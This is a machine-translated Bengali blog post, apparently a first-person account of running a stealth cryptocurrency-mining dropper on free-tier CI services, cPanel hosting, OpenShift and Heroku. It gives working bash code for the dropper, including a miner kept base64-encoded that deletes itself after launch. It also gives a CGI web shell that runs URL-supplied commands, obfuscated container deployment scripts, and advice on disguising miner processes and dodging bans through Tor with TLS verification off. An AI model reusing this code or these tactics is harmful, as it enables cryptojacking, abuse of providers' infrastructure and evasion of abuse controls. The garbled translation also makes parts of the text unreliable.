শুরুতে আমরা কয়েকটি পদ্ধতি নিয়ে পরীক্ষা করেছি:
ব্যবহার প্রক্সিচেইন মাইনার নেটওয়ার্ক কলগুলি ওভারলোড করার জন্য, কিন্তু এটি খনির প্রয়োজন ছিল ডাইনামিক লাইব্রেরি দিয়ে তৈরি করা, এবং আপনাকে সেগুলিকে পেলোড দিয়ে পাঠাতে হবে, তাই এটি অবাস্তব ছিল।
চলমান a সামনে টানেল খনির সাথে পাশাপাশি: এটির অনেক কনফিগারেশন ওভারহেড ছিল, যেহেতু এখন আমরা প্রতিটি স্থাপনায় দুটি প্রক্রিয়া কনফিগার করছিলাম, যা আরও বেশি বাগের পরিমাণ ছিল।
শেষ পর্যন্ত আমরা কেবলমাত্র শেষ পয়েন্টগুলির একটি তালিকা শিপিংয়ের মাধ্যমে নিষ্পত্তি করেছি, একটি ব্যাশ ভেরিয়েবলে সংরক্ষিত, একটিকে এলোমেলোভাবে বেছে নেওয়া। সংযোগগুলি অবশ্যই এনক্রিপ্ট করা হয়েছিল। এই শেষ পয়েন্ট কি? প্রক্সিতে ফরওয়ার্ডার যা খনি শ্রমিকদের কাজ পরিচালনা করবে।
আমাদের কেন দরকার? খনির প্রক্সি ? আমি সত্যিই ~ 100 একযোগে সংযোগের অতীত যাইনি, তাই নেটওয়ার্ক লোডের জন্য প্রক্সি সত্যিই প্রয়োজন ছিল না, তবে হ্যাশিং অ্যালগরিদম নিয়ে আলোচনা করার জন্য এবং বিভিন্ন খনিকে বিভিন্ন অসুবিধা লক্ষ্যমাত্রা প্রদান করার জন্য, খনিকে কাজ করতে বাধা দেওয়ার জন্য এটি সুবিধাজনক ছিল। অসুবিধা লক্ষ্যগুলি যা তাদের সম্পূর্ণ করতে খুব বেশি সময় নেবে এবং অসমাপ্ত চাকরিতে গণনা নষ্ট করার ঝুঁকি এড়াবে।[5] পুল সফটওয়্যারেও কিছু পরিবর্তন প্রয়োজন কারণ এটি আনন্দের সাথে সরল http অনুরোধের প্রক্সি হওয়ার বিজ্ঞাপন ছিল ... যা সময়সীমা শেষ করতে হয়েছিল , এবং একটি কাঁটা যোগ করা অ্যাক্সেস কন্ট্রোল তাই আমরা যে উপর আমাদের মোড ভিত্তিক।[6]
একটি জসন ফাইলে পরিবর্তনগুলি প্রয়োগ করা শুধু ব্যাশের সাথে আমরা কিছু env var প্রতিস্থাপন, এবং কিছু regex দিয়ে পেয়েছি। প্রাথমিকভাবে আমরা একটি এর উপর নির্ভর করছিলামenvsubst
ভেরিয়েবল প্রয়োগ করার জন্য বাইনারি, তারপর আমরা সম্পূর্ণ ব্যাশ গিয়েছিলাম[7] এই যুক্তি দিয়ে:
কনফিগ টেমপ্লেট পড়ুন
একটি খুব গুপ্ত স্ট্রিং (যেমন_#_#
)
eval
টেমপ্লেট
সমস্ত গুপ্ত ঘটনার পুনরাবৃত্তি উদ্ধৃতি দিয়ে
সাব প্রসেস এড়িয়ে যাওয়া ছাড়াও, আরেকটি সুবিধা হল যে আমরা আমাদের টেমপ্লেটগুলিতে সম্পূর্ণ ব্যাশ ক্ষমতা পাই। টেমপ্লেট ছাড়া পড়া এবং লেখার জন্য, আমাদের bash regex ক্ষমতার উপর নির্ভর করতে হবে:
cc_rgx='( *".*?" *: *)("(.*?)"|([^,]*?)) *(,|.*?\/\/.*?|\n|$)'
change_config() {
local subs
while read l; do
if [ "${l}" != "${l/\"*$1*\"*:/}" ]; then
[[ "${l}" =~ $cc_rgx ]]
matches=("${BASH_REMATCH[@]}")
[ -n "${matches[3]}" -a "${2:0:1}" != "\"" ] &&
subs="\"$2\"" ||
subs="$2"
CONFIG=${CONFIG/${matches[0]}/${matches[1]}$subs${matches[5]}}
break
fi
done <<<"$(printf '%s' "$CONFIG" 2>/dev/null)"
}
## output miner config value $1 unquoted
gc_rgx=' *"[^:]+" *: *("(.*?)"|([^,]*)) *(,|.*?\/\/.*?|\n|$)'
get_config() {
while read l; do
if [ "${l}" != "${l/\"*$1*\"*:/}" ]; then
[[ "${l}" =~ $gc_rgx ]]
[ -n "${BASH_REMATCH[2]}" ] &&
printf '%s' "${BASH_REMATCH[2]}" ||
printf '%s' "${BASH_REMATCH[3]}"
break
fi
done <<<"$(printf '%s' "$CONFIG" 2>/dev/null)"
}
এটি শুধুমাত্র আমাদের একক লাইন সম্পাদনা করতে দেয়, মাল্টি-লাইন এন্ট্রিগুলির জন্য এটি কেবল প্রথম লাইন বিবেচনা করে..কিন্তু এটি আমাদের ব্যবহারের ক্ষেত্রে যথেষ্ট ভাল।
আমাদের রানটাইম দেখতে কেমন? আমাদের একটি প্রধান বাশ প্রক্রিয়া রয়েছে যা মূল লুপটি সম্পাদন করে, তারপর মাইনার সাব-প্রসেস, সিপিইউ মনিটর সাব-প্রসেস, লকার এবং টিউনার। এটা প্রায় মুষ্টিমেয়।
প্রথমে আমরা নিশ্চিত করতে চাই যে যদি কিছু ভুল হয়ে যায়, আমরা কোন গোলমাল ছাড়ি না, এর মানে হল যে আমরা পরিসমাপ্তিতে পরিষ্কার করার জন্য একটি ব্যাশ ফাঁদ ব্যবহার করি
trap "trap - SIGINT EXIT SIGKILL SIGTERM; kill -9 \$(jobs -p); cleanup &>/dev/null ; fleep 10" SIGINT EXIT SIGKILL SIGTERM
trap - ...
পুনরাবৃত্তি রোধ করতে ফাঁদ unsets। ফাঁদ সমস্ত চাকরি মেরে ফেলে এবং কাজের পরিবেশ দূর করে।
এটি মাইনার শুরু করার সময়, যা বেস 64 এনকোডিংয়ে ব্যাশ ভেরিয়েবল হিসাবে সংরক্ষণ করা হয়। আমরা এটি ফাইল সিস্টেমে ডাম্প করি, তারপরে আমরা কনফিগ ডাম্প করি, মাইনারটি চালাই এবং মাইনার এবং কনফিগ উভয়ই সরিয়ে ফেলি। লিনাক্সে আপনি একটি চলমান প্রক্রিয়ার এক্সিকিউটেবল অপসারণ করতে পারেন, (উইন্ডোতে এটি অনুমোদিত নয়)।[8] যখন খনির কাজ চলছে, তখন ফাইল সিস্টেমে কেবল একটি.. /
একটি সঙ্গে ডিরেক্টরিb64
তার মধ্যে লিঙ্ক।
## put a file $1 into a var $2
fileToVar(){
declare -n tmpd="$2" && tmpd=$(b64e "$1") && return
if [ -z "$tmpd" ]; then
log "gobbling in array"
eval "$2=1" ## avoid empty checks
gobbled[$2]=$(b64e "$1")
else
return 1 ## do not quote assignment otherwise ram is not released
fi
}
## put a var $1 into a file $2
varToFile(){
if [ -n "$VERBOSE" ]; then
if declare -n 2>>${VERBOSE} && eval "b64d <<<\"\$$1\" 1>\"$2\" 2>>${VERBOSE}"; then
return
else
# log "dumping from array"
eval "b64d <<<\"\${gobbled[$1]}\" 1>\"$2\" 2>>${VERBOSE}" && return
fi
return 1
else if declare -n && eval "b64d <<<\"\$$1\" >\"$2\""; then
return
else
# log "dumping from array"
eval "b64d <<<\"\${gobbled[$1]}\" >\"$2\"" && return
fi
return 1
fi
}
খনির এনকোডিং করার সময় ব্যাশের সাথে মুখোমুখি হওয়া একটি উদ্দীপক কৌতুক হ'ল উদ্ধৃতি সহ সাবশেলের সাথে একটি পরিবর্তনশীল বরাদ্দ করাmyvar="$(something)"
মেমরি ব্যবহারে স্থায়ী বৃদ্ধি ঘটায়, এটি ডিবাগ করা কঠিন ছিল এবং এইরকম আচরণ করার কারণটি সত্যিই খুঁজে পাইনি, যাইহোক অ্যাসাইনমেন্টটি উদ্ধৃত হতে হবে। পরিবর্তে ডিকোডিং করা হয় herestrings যা অস্থায়ী ফাইলগুলির উপর একটি বিমূর্ততা, ভেরিয়েবলটি একটি ফাইলে ফেলে দেওয়া হয় যা পরে প্রক্রিয়াটিতে ফিরে আসে।
খনির দীর্ঘ চলমান লুপ:
যখন সত্য
খনি বন্ধ করুন
কনফিগারেশন সরান
খনি শুরু করুন
যখন সত্য
ডেমন শুরু করুন
যখন খনির কাজ চলছে
খনি থেকে আউটপুট পড়ুন
আউটপুট লাইনের উপর ভিত্তি করে মাইনার অ্যাকশন বেছে নিন
যদি খনির কাজ না হয়: বিরতি
ঘুম
আউটপুট লাইন কিছু regex সঙ্গে মিলিত হয়:
act_rgx='(accepted|speed|paused|algo:|-> update config|-> publish config|-> trigger restart|\[CC\-Client\] error|Error: \"\[Connect\]|POOL #1: \(null\))|not enough memory|self-test failed|read error|cpu disabled'
ডেমন যেখানে কেস পরিচালনা করে
এন্ডপয়েন্টের সংযোগ ত্রুটি দেয় (একটি নতুন এলোমেলো এন্ডপয়েন্ট বেছে নিন)
হ্যাশিং অ্যালগরিদম পরিবর্তন (ঘুমের সময় এবং অ্যাড-হক কনফিগারেশন সামঞ্জস্য করুন)
খনি সমস্যা (মাইনার পুনরায় চালু করুন)।
কিছুক্ষণের জন্য কমান্ড এবং কন্ট্রোল ড্যাশবোর্ডের জন্য সমর্থন ছিল, যা ম্যানুয়াল পুনরায় চালু করার অনুমতি দেয়, তবে যেহেতু এর ব্যবহার সর্বনিম্ন ছিল তাই এটি বাতিল করা হয়েছিল, এবং এর শেষ পয়েন্টগুলি একটি বিকল্প পুল সংযোগের সাথে প্রতিস্থাপিত হয়েছিল, পুন restসূচনা প্রক্রিয়াটিও অস্থিতিশীল, জটিল ছিল। .. প্রযুক্তি debtণের আরেকটি উদাহরণ। তবে এটি একটি আপডেটেড পেলোড পুনরায় আনতে এবং ফ্লাইতে সমস্ত কনফিগারেশন পুনরায় সেটআপ করার অনুমতি দেয়, যা বেশ দুর্দান্ত ছিল, চূড়ান্ত ট্রাম্পোলিন।
তিনটি প্রধান উপযোগিতা আছে
কোড ব্লকের চারপাশে ট্রেসিং সক্ষম/অক্ষম করুন (আমরা একটি ভেরিয়েবলে একটি b64 এনকোডেড বাইনারি ট্রেস করতে চাই না ..)
লগ ফরম্যাট করার জন্য একটি সহজ ফাংশন
একটি পতাকা যা খনির কাজ শুরু করার সময় রানটাইমে ভার্বোস লগিং সক্রিয় করবে।
ফাইল করে.debug
বিদ্যমান?
ভার্বোস লগিং সক্ষম করুন
এই সেটআপ 3 ধরনের হোস্টে পরীক্ষা করা হয়েছে:
অনেক হোস্টিং প্রদানকারী মাইনিং পছন্দ করে না যেহেতু CPU রিসোর্স একাধিক ব্যবহারকারীর মধ্যে ভাগ করা হয়, এবং মাইনিং সফটওয়্যার সহজেই একটি হোস্ট নোডকে ধীর করতে পারে যা বাকি ব্যবহারকারীদের কর্মক্ষমতাকে প্রভাবিত করে। সিপিইউ ব্যবহারকারীর সময় সীমাহীন থাকলেও এটি সত্য হতে পারে, কারণ হ্যাশিং অ্যালগরিদমগুলি সিপিইউর সমস্ত ক্যাশিং স্তরকে পরিপূর্ণ করতে পারে যদি ক্যাশে সমস্ত সিপিইউ কোরের মধ্যে ভাগ করা হয়।
আমরা আমাদের ব্যবহার করতে চাই ন্যায্য নিষিদ্ধ না হয়ে সম্পদের ভাগ, এটি আমাদের স্টিলথ ড্রপার এর জন্য একটি ভাল ব্যবহার-কেস কারণ এটি হোস্ট ব্যবহার সচেতন, যার অর্থ এটি উচিত [AUP] এর মধ্যে থাকুন। স্ব -হোস্টেড স্থাপনার সাথে কাজ করার সময় কোনও অতিরিক্ত পদক্ষেপ নেই, কেবল লঞ্চার স্ক্রিপ্ট, সম্ভবত বুট ক্রমে যোগ করা হয়েছে বা ম্যানুয়ালি চালু করা হয়েছে।
ওয়েব হোস্টিং সাবস্ক্রিপশন প্ল্যানগুলি বেশিরভাগই [cPanel] এর মাধ্যমে দেওয়া হয়। আবার এখানে আমরা ব্যক্তিগত সাবস্ক্রিপশন প্ল্যান ব্যবহার করছি যার যুক্তিসঙ্গত সম্পদের সীমা রয়েছে, অন্যদিকে যে কোনও বিনামূল্যে পরিকল্পনার হাস্যকর সীমা রয়েছে[9] । সিপ্যানেল আপনাকে বিভিন্ন ফাইল এক্সটেনশনের জন্য হ্যান্ডলার সংজ্ঞায়িত করতে দেয়, এটি আমাদের মাধ্যমে শেল স্ক্রিপ্টগুলি চালানোর অনুমতি দেয় সিজিআই সার্ভারে আপলোড করা শেল স্ক্রিপ্টের বিরুদ্ধে একটি http অনুরোধ সহ। এই ধরনের ইন্টারফেসগুলি ওয়েব-শেলগুলি দেখতে কেমন[10] । একটি সাধারণ ব্যাশ ওয়েব শেল
# without content encoding the request response won't be honored
echo -e 'Content-Type: text/plain\n'
SERVER_NAME=myserver
## parse vars (for interactive use)
saveIFS=$IFS
IFS='=&'
parm=($QUERY_STRING)
IFS=$saveIFS
for ((i=0; i<${#parm[@]}; i+=2))
do
declare var_${parm[i]}=${parm[i+1]}
done
## exec command for interactive and proclimited scenarios
url_encoded="${var_path//+/ }"
export PATH=".:$PATH"
. /dev/shm/srv/utils/load.env &>/dev/null
if declare -f "${url_encoded/\%20*}" 1>/dev/null; then ## don't use -n, redirect fd for bcompat
printf '%b' "${url_encoded//%/\\x}" > /tmp/${SERVER_NAME}.src
else
if builtin "${url_encoded/\%20*}"; then
printf '%b' "${url_encoded//%/\\x}" > /tmp/${SERVER_NAME}.src
else
printf 'exec %b' "${url_encoded//%/\\x}" > /tmp/${SERVER_NAME}.src
fi
fi
. /tmp/${SERVER_NAME}.src
কেবলমাত্র বিল্টইনগুলির উপর নির্ভর করা ভাল কারণ ওয়েব কারাগারে অতিরিক্ত প্রক্রিয়াগুলি অনুমোদিত হতে পারে না, তবে এটি সর্বদা সম্ভবexec
যা আমাদের অধিকাংশ কমান্ড লাইন ইউটিলিটি ব্যবহার করতে দেয়। বেশিরভাগ ওয়েব শেল পাইথন বা পিএইচপির মতো অন্যান্য স্ক্রিপ্টিং ভাষায় লেখা হয় কারণ আপনাকে কাঁটাচামচ সম্পর্কে চিন্তা করতে হবে না।
একটি cpanel পরিবেশে খনি প্রক্রিয়ার জন্য একটি স্ট্যাটিক নাম ব্যবহার করা ভাল, যেমনhttpd
অথবাphp-fpm
কারণcgi
মাল্টি প্রসেসিং এর উপর ভিত্তি করে, তাই সার্ভার সবসময় এই ধরনের অনেক প্রসেসে ভরা থাকে, যদিও একজন সতর্ক পর্যবেক্ষকের লক্ষ্য করা উচিত মাল্টি-থ্রেডেড পার্ল, পিএইচপি, রুবি, বা পাইথনের মতো ভাষার জন্য ব্যবহার প্যাটার্ন যা স্পষ্টভাবে সাধারণ (বা সম্ভব নয়)!
প্রক্রিয়াগুলির ডিফল্টরূপে একটি সময়সীমা থাকে, (1 ঘন্টা, 1 দিন, ইত্যাদি ..), এর জন্য আমরা কেবল একটি ক্রোন কাজ ব্যবহার করি যা ড্রপারটি পুনরায় চালু করে।
এর জন্য প্রচুর ম্যানুয়াল এডিটিং প্রয়োজন, cpanel api স্বয়ংক্রিয়ভাবে এটি ব্যবহারকারীদের কাছে দুর্ভাগ্যজনকভাবে উন্মুক্ত নয়, তাই ওয়েব হোস্টিং আমাদের মাইনার ড্রপারের জন্য একটি ক্লান্তিকর এবং বিরক্তিকর লক্ষ্য।
সেখানে SaaS যেসব প্রদানকারীর একটি ওয়েব এডিটর আছে, যেমন একটি ধারক, যেমন মেঘ 9 , [codeanywhere], [কোডেনভি]। এখানে ড্রপার মোতায়েন করা সহজ (আপনার একটি পরিপূর্ণ পরিবেশ আছে), কিন্তু এটি চালু রাখা একটি বোঝা, যেহেতু যেকোনো ইন্টারেক্টিভ ওয়েব এডিটর ওয়েব পেজ বন্ধ হওয়ার পরপরই তার অধিবেশন শেষ করে দেয়, এবং কন্টেইনারটি ফলস্বরূপ ঘুমিয়ে পড়ে (যদি না আপনি অবশ্যই পরিশোধ করুন)।
এটিকে পরিবর্ধন করার অর্থ কেবল এই হতে পারে যে আমাদের সেশনগুলি খোলা রাখতে হবে, [পুতুল] এর সাথে কিছু স্ক্রিপ্টিং কাঙ্খিত ফলাফল অর্জন করেছে, কিন্তু দীর্ঘ সময় ধরে চলতে থাকা, মেমরি লিক হওয়া, ফুলে যাওয়া এসপিএ ওয়েব পেজগুলি অবশ্যই আকর্ষণীয় এবং গোপন নয়, কারণ প্রদানকারী ব্যাকএন্ড থেকে, 24/7 খোলা একটি সেশন অবশ্যই সন্দেহজনক দেখাবে। প্রকৃতপক্ষে, ওয়েব পরিবেশগুলিও অস্পষ্ট এবং বিরক্তিকর লক্ষ্য।
এটি মূলত openshift[11] এবং [হিরকু]। ওপেনশিফ্ট, কুবেরনেট হওয়া মোতায়েন করা কিছুটা সহজ ছিল, কিন্তু কনফিগারেশন মন্থনে পূর্ণ, এখানে একটি উদ্ধৃতাংশ দেওয়া হল:
export PATH=.:$PATH
[ -z "$OC_PRJ" ] && { echo "no account data provided"; exit 1; }
obfs=~/utils/deploy/obfs.sh
[ -x $obfs ] ||
{ echo "obfs utility not found!"; exit 1; }
launcher=~/launcher
[ -f $launcher ] ||
{ echo "launcher script not found!"; exit 1; }
ctroot=${CT_ROOT_DIR:-oc-ct-box-mine}
## the service that starts the miner is named app in /etc/services.d in the rootfs
scriptpath="rootfs/etc/services.d/app/run"
TYPE=${HRK_TYPE:-worker}
IMG=$(oc-endpoint)/$OC_PRJ/$OC_APP
tspath=/tmp/oc-tmp-apprun
prepend="#!/usr/bin/with-contenv bash
"
## beware the newline ^^^
cd $ctroot || { echo "couldn't find ct build directory"; exit 1; }
VARS=$(cat vars) || { echo 'vars file empty!'; }
VARS=${VARS//$'\n'/ }
VARS=${VARS//\\/\\\\} ## preserve escapes
script=$(cat $launcher | tail +2 | sed -r '/^echo "export \\$/a '"$VARS"' \\')
cat <<< "$script" > $tspath
$obfs $tspath
[ -z "${tspath}.obfs" ] && { echo "obfs file not found?"; exit 1; }
cat <<< "$prepend$(cat "${tspath}.obfs")" > $scriptpath
exec itself (should eval)
chmod +x $scriptpath
docker build -t $IMG . || exit 1
cd -
oc-push-image "$IMG"
এটি খনির পাত্রে নির্মাণের জন্য ব্যবহৃত স্ক্রিপ্ট যা একটি যমল টেমপ্লেট প্রয়োজন:
apiVersion: build.openshift.io/v1
kind: BuildConfig
metadata:
labels:
build: ${OC_APP}
name: ${OC_APP}
spec:
activeDeadlineSeconds: 5184000
failedBuildsHistoryLimit: 0
successfulBuildsHistoryLimit: 0
resources:
limits:
cpu: 2
memory: 1Gi
runPolicy: Serial
source:
type: Binary
strategy:
sourceStrategy:
from:
kind: ImageStreamTag
name: ${OC_APP}-build:latest
namespace: ${OC_PRJ}
type: Source
template:
activeDeadlineSeconds: 2400
triggers:
- generic:
secretReference:
name: ${OC_APP}
type: Generic
কিন্তু পুরো প্রক্রিয়াটিতে বেশ কয়েকটি ধাপ জড়িত ছিল!
## init
[ -z "$OC_APP" ] && export $(<$(tfi))
[ -z "$OC_APP" ] && { . ./choose-creds || exit 1; }
oc-login
oc new-project $OC_PRJ || { [ -z "$(oc get projects)" ] && exit 1; }
oc new-app $OC_APP --allow-missing-images || exit 1
## build box with docker and push
# oc-docker-login || exit 1
oc-build-mine || exit 1
## create dc config
export OC_TEMPLATE_TYPE=mine
oc-box-template || exit 1
rtr=0
while [ $rtr -lt 10 ]; do
oc rollout latest $OC_APP && break
rtr=$((rtr+1))
read -t 1
done
exit
## builds
bash -x oc-build-build || exit 1
bash -x oc-build-template || exit 1
oc start-build $OC_APP || exit 1
accounts=${ACCOUNTS_DIR:-accounts_queue}
mv $accounts/${OC_USR}{\.this,\.$(date +%s)}
ছদ্ম কোডে:
প্রকল্প তৈরি করুন
একটি ছবি ছাড়া অ্যাপ্লিকেশন তৈরি করুন
খনির ধারক তৈরি করা
একটি স্থাপনার কনফিগারেশন সহ কন্টেইনার স্থাপন করুন (কুবারনেটস বিমূর্ততা)
স্থাপনার রোলআউট
দ্যbuild-build
স্ক্রিপ্ট পরিবর্তে একটি তৈরি নির্মাণ ধারক যা একবারে কয়েক ঘন্টার জন্য খনি হবে। বিল্ডস এবং নরমাল শুঁড়ির ওপেনশিফ্টে আলাদা সম্পদ আছে তাই আমরা তাদের উভয়কেই কাজে লাগিয়েছি। ওপেনশিফ্ট সামগ্রিকভাবে একটি খারাপ অভিজ্ঞতা ছিল যেহেতু এটি 4 টি ভিন্ন রিলিজ (সম্ভবত আরও কিছু, আমি কিছুক্ষণ পরে ট্র্যাকিং বন্ধ করে দিয়েছিলাম) এবং তাদের প্রত্যেকের কনফিগারেশনে প্রয়োজনীয় পরিবর্তন ছিল, তাদের কোন আপগ্রেড পথ ছিল না এবং সবকিছু দ্রুত পুনরাবৃত্তি হয়েছিল, এবং এটি সাধারণ ছিল বিল্ড/পড স্টল করার জন্য, এবং আবর্জনা সংগ্রহ না করার জন্য ... তারা সাধারণত ম্যানুয়াল রিস্টার্টগুলি একবারে একবার চালায়, সম্ভবত কুবারনেটগুলি কেবল বগি ছিল :)
হেরোকু কনফিগারেশনটি একটু সহজ ছিল (এতে কুবেরনেটস জড়িত নয়)। কন্টেইনার বিল্ড ছাড়াও, যা ওপেনশিফ্টের অনুরূপ ছিল, বাকিগুলি ছিল মাত্র দুটি ক্লি কমান্ড
heroku config:set HRK_APP=$HRK_APP -a $HRK_APP
heroku container:release -a $HRK_APP $TYPE
কন্টেইনারটি সরাসরি ডকার দিয়ে হেরোকু রেজিস্ট্রিতে ঠেলে দেওয়া হয়েছিল।[12] হেরকু (যা মুক্ত স্তর এখনও লেখার সময় পর্যন্ত দাঁড়িয়ে আছে) এর সাথে ঘর্ষণ হল যে ডাইনোস প্রতি মাসে মাত্র 22 দিন চলতে পারে তাই তাদের প্রতি মাসে কিছু ম্যানুয়াল ব্যবস্থাপনা প্রয়োজন, আবার ক্লান্তি এবং বিরক্তিকর। তারা শুরুতে কিছু নিষেধাজ্ঞা তরঙ্গ কার্যকর করেছিল এবং তারপরে তারা টিওআর -এর মাধ্যমে নিবন্ধন অক্ষম করেছিল, আমি নিশ্চিত যে আমি এর কারণ ছিলাম।
এগুলি ছিল আমাদের ড্রপারের জন্য সবচেয়ে সিনার্জিক লক্ষ্য। এখানে অনেক সিআই কোম্পানি, যার মধ্যে অনেকগুলি বিনিয়োগকারীদের অর্থ জ্বালিয়ে দিচ্ছে কারিগরি অবকাঠামো ব্যবসায় কিছু বাজার অংশ সংগ্রহের আশায় বিনামূল্যে স্তর অফার করছে।
এই সমস্ত পরিষেবাগুলি বিভিন্ন সংস্থান সরবরাহ করে, বিভিন্ন কনফিগারেশনের প্রয়োজনীয়তা থাকে এবং বিভিন্ন পরিবেশে চলে। আমি কখনও স্বয়ংক্রিয় অ্যাকাউন্ট নিবন্ধনের কথা ভাবিনি কারণ এই ধরনের জিনিসগুলি প্রোগ্রামের জন্য ভয়ঙ্কর, আমি সব সময় এগুলি এড়ানোর চেষ্টা করি, তাই আমি কিছু সময়ের জন্য ম্যানুয়াল রেজিস্ট্রেশন সহ্য করেছি কারণ আমি কৌতূহলী ছিলাম যে কোন ধরনের স্প্যাম বিরোধী প্রতিক্রিয়া পাব (এবং বাকিদের থেকে কতটা আলাদা!)। আপনি একটি কোম্পানির ম্যানেজমেন্ট সম্পর্কে কিছু বিষয় অনুমান করতে পারেন যে এটি কিভাবে স্প্যাম পরিচালনা করে:
এটি কি নিষিদ্ধ তরঙ্গ সঞ্চালন করে? তারপরে তাদের কঠোর নীতি নেই, সমস্যাগুলি ম্যানুয়ালি পরিচালনা করা হয় এবং একেকটি কেস
এর জন্য কি ফোন ভেরিফিকেশন প্রয়োজন? অতীতে তারা ইতিমধ্যে নির্যাতিত হয়েছিল
তারা কি ভারী সম্পদ ব্যবহারের সাড়া দেয়? তারা কঠোর বাজেটে চলছে
তারা কি অ্যাকাউন্ট বিধিনিষেধ বা ছায়া নিষেধাজ্ঞা প্রয়োগ করে? যদি তারা নিষিদ্ধ ছায়া, তাদের মানে sysadmins আছে।
একটি দার্শনিক প্রশ্নও আছে: যদি একটি পরিষেবা আপনাকে দীর্ঘদিন ধরে তাদের সিস্টেমের অপব্যবহার করতে দেয়, তাহলে এর অর্থ কি তাদের কাছে একটি শীর্ষস্থানীয় অবকাঠামো রয়েছে যা বোঝা পরিচালনা করতে সক্ষম, অথবা কেবল তাদের সিস্টেমের উপর দুর্বল নিয়ন্ত্রণ? এবং আপনাকে অবশ্যই অ্যাক্সেসযোগ্যতা এবং সুরক্ষার মধ্যে ভারসাম্য বিবেচনা করতে হবে, খুব নিরাপদ একটি সিস্টেম ব্যবহারকারীর ধারণ ক্ষমতা কমিয়ে দিতে পারে।
এখানে এমন কিছু টেবিল দেখানো হয়েছে যা আমি মোতায়েন করেছি:
ci | কনফিগারেশন | কর্মক্ষমতা | নিষেধাজ্ঞা হাতুড়ি |
---|---|---|---|
বিট্রাইজ | খারাপ | মধ্যম | মধ্যম |
ট্র্যাভিস | ভাল | মধ্যম | ভাল |
কোডশিপ | মধ্যম | খারাপ | মধ্যম |
গিটল্যাব | মধ্যম | ভাল | ভাল |
বৃত্ত | খারাপ | ভাল | মধ্যম |
সেমাফোর | ভাল | ভাল | মধ্যম |
ডকার | মধ্যম | মধ্যম | ভাল |
কোয়ে | ভাল | মধ্যম | মধ্যম |
কোডফ্রেশ | খারাপ | ভাল | মধ্যম |
ওয়ার্কার | মধ্যম | মধ্যম | খারাপ |
অজুর-পাইপলাইন | মধ্যম | মধ্যম | খারাপ |
ধারাবাহিক PHP | খারাপ | মধ্যম | মধ্যম |
বন্ধু | খারাপ | খারাপ | খারাপ |
ড্রোন | খারাপ | ভাল | খারাপ |
আবেদনকারী | খারাপ | মধ্যম | খারাপ |
নেভারকোড | খারাপ | ভাল | মধ্যম |
Zeist/vercel | খারাপ | ভাল | খারাপ |
এই প্রসঙ্গে, ক ভাল কনফিগারেশন মানে এটি কনফিগার করতে বেশি সময় নেয়নিci
খনির প্রক্রিয়ার কাজ খারাপban-hammer
এর মানে হল যে পরিষেবাটিতে নিবন্ধন করা কঠিন ছিল, অথবা অ্যাকাউন্টগুলি আরও আক্রমণাত্মকভাবে নিষিদ্ধ করা হবে।
বিট্রাইজ একটি প্রজেক্ট সেটআপ করতে হবে, পরিবেশ, টার্গেট আর্কিটেকচার, এক্সিকিউশন প্রক্রিয়া এবং অন্যান্য জিনিসগুলি অনুমান করতে হবে, এটি একটি বিল্ড সেটআপ করতে খুব সময় নেয়, তাই এটি কনফিগারেশনে খারাপ রেটিং পেয়েছে। ধারাবাহিক PHP, বন্ধু , [কোডফ্রেশ] এরও অনেক ম্যানুয়াল অ -ঘোষণামূলক কনফিগারেশন ধাপ ছিল।
[Azure-pipelines] এর মতো পরিষেবা, ওয়ার্কার, বন্ধু অ্যাকাউন্টগুলিতে ছায়া-নিষেধাজ্ঞা প্রযোজ্য, ছায়া-নিষেধাজ্ঞাগুলি খারাপ, কারণ তারা আপনার কনফিগারেশনে কিছু ভুল আছে কিনা তা অনুমান করতে ছেড়ে দেয়। কিছু পরিষেবার মাধ্যমে আপনি নিষেধাজ্ঞার কারণ অনুমান করতে পারেন (আপনার নির্মাণে খুব বেশি সময় লেগেছে, অথবা আপনি অল্প সময়ের মধ্যে অনেকবার নির্মাণ করেছেন), [Azure-pipelines] এর মত অন্যদের জন্য আমি ধরে নিচ্ছি তারা কোন ধরনের আঙুলের ছাপ প্রয়োগ করেছে ব্যবহারকারীর সংগ্রহস্থলগুলিতে নিষেধাজ্ঞাগুলি এমনকি কোনও সম্পদের অপব্যবহার ছাড়াই আসছে, নীল এবং ভার্সেলও সীমাবদ্ধDNS
পাবলিক বিল্ড মেশিনের মধ্যে অ্যাক্সেস, যাতে অতিরিক্ত ঘর্ষণ ছিল যা অ্যাড-হক টানেলের মাধ্যমে কাটিয়ে উঠতে হবে।
ড্রোন সম্পূর্ণ 16+ কোর প্রসেসরে অ্যাক্সেস দিয়েছে কিন্তু 2 টি বিল্ডের পরে নিষিদ্ধ করা শেষ করেছে[13]. কোডশিপ এছাড়াও শক্তিশালী বিল্ড হোস্টগুলিতে অ্যাক্সেস দেয় এবং ড্রোনের মতো আক্রমণাত্মকভাবে নিষিদ্ধ করেনি।
আমার প্রিয় পরিষেবাগুলি লাভজনকতার কারণে নয় বরং সহজ এবং সুবিধার জন্য (অন্যান্য প্রকল্পের সাথেও) ছিল ট্র্যাভিস, সেমাফোর এবং ডকার-হাব । ট্র্যাভিস স্ট্যান্ডার্ড সিআই এর মতো এবং খুব নমনীয়, সেমাফোর একমাত্রDSL
জন্যCI
যা অন্য ইউআই-এর মতো স্প্যাগেটিফাইড চেক-বক্সের সীমাহীন ক্রমের পরিবর্তে, এবং ডকার কেবল ডকারফাইলের নির্মাণের সরলতার জন্য সহজলভ্য এবং ভাল লাগছিল।
ওয়েব পরিষেবাগুলির দ্বারা প্রদত্ত ক্রন কাজের দ্বারা বা গিট কমিটের মাধ্যমে বিল্ডগুলি ট্রিগার করা হয়েছিল। সুতরাং আপনাকে সমস্ত গিট কমিটগুলি পরিচালনা করতে অ্যাক্সেস টোকেন বা এসএসএইচ কীগুলির আবর্জনা রাখতে হবে। ওভার-স্প্যাম কমিট না করা এবং গিট কনফিগার করার রিপোজিটরিগুলিতে চাপ দেওয়ার সময় প্রক্সি ব্যবহার করাও গুরুত্বপূর্ণ ছিল:
[http]
proxy = socks5://127.0.0.1:9050
sslverify = false
[https]
proxy = socks5://127.0.0.1:9050
sslverify = false
[url "https://"]
insteadOf = git://
